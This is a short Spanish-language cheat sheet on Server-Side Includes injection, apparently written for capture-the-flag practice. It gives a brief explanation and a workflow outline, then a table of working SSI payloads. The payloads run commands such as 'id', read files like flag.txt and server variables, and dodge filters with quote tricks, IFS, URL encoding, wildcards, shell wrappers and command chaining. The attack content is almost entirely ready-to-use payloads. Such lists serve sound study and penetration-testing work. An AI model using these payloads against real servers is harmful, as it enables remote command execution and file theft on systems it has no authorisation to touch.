SSI
Teoria
Server‑Side Includes (SSI) consiste en que el servidor procesa directivas/plantillas incrustadas en el HTML antes de enviarnoslo. Si podeemos inyectar directivas podremos leer variables del servidor, ficheros o RCE.
Worflow
-
Buscar extensiones
-
Mirar comentarios como
-
Probar inyecciones basicas
-
RCE
i. Leer ficheros
Bypass
| Payload | Tipo de bypass |
|---|---|
<!--#exec cmd="id" --> |
Básico / sin filtros |
<!--#exec cmd='id' --> |
Bypass de comillas dobles |
<!--#exec cmd=id --> |
Bypass de comillas |
<!--#exec cmd="cat${IFS}flag.txt" --> |
Bypass de espacios (IFS) |
<!--#exec cmd="cat%20flag.txt" --> |
URL encoding |
<!--#exec cmd="c\at flag.txt" --> |
Escape de caracteres |
<!--#exec cmd="cat fl*" --> |
Wildcards |
<!--#include file="flag.txt" --> |
Bypass sin ejecución de comandos |
<!--#include virtual="/flag.txt" --> |
Bypass de rutas |
<!--#echo var="DOCUMENT_ROOT" --> |
Bypass sin exec |
<!--#echo var="SERVER_SOFTWARE" --> |
Enumeración sin RCE |
<!--#exec cmd="sh -c 'id'" --> |
Wrapper de shell |
<!--#exec cmd="/bin/sh -c id" --> |
Bypass de blacklist id |
<!--#exec cmd="groups;id" --> |
Command chaining |
<!--#exec cmd="id" --> |
Subshell |
<!--#exec cmd="$(id)" --> |
Sustitución de comandos |